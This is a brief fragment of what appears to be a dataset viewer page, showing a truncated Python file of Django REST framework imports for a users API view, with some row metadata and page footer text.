User... | 37.97619 | 100 | 0.614629 |
from rest_framework.views import APIView
from rest_framework.permissions import AllowAny
from modules.shared.infrastructure.serializers.django.serializer_manager import (
SerializerManager as DjangoSerializerManager,
)
from modules.users.infrastructure.serializers.django import (
UserSerializer as DjangoUser... | true | true |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.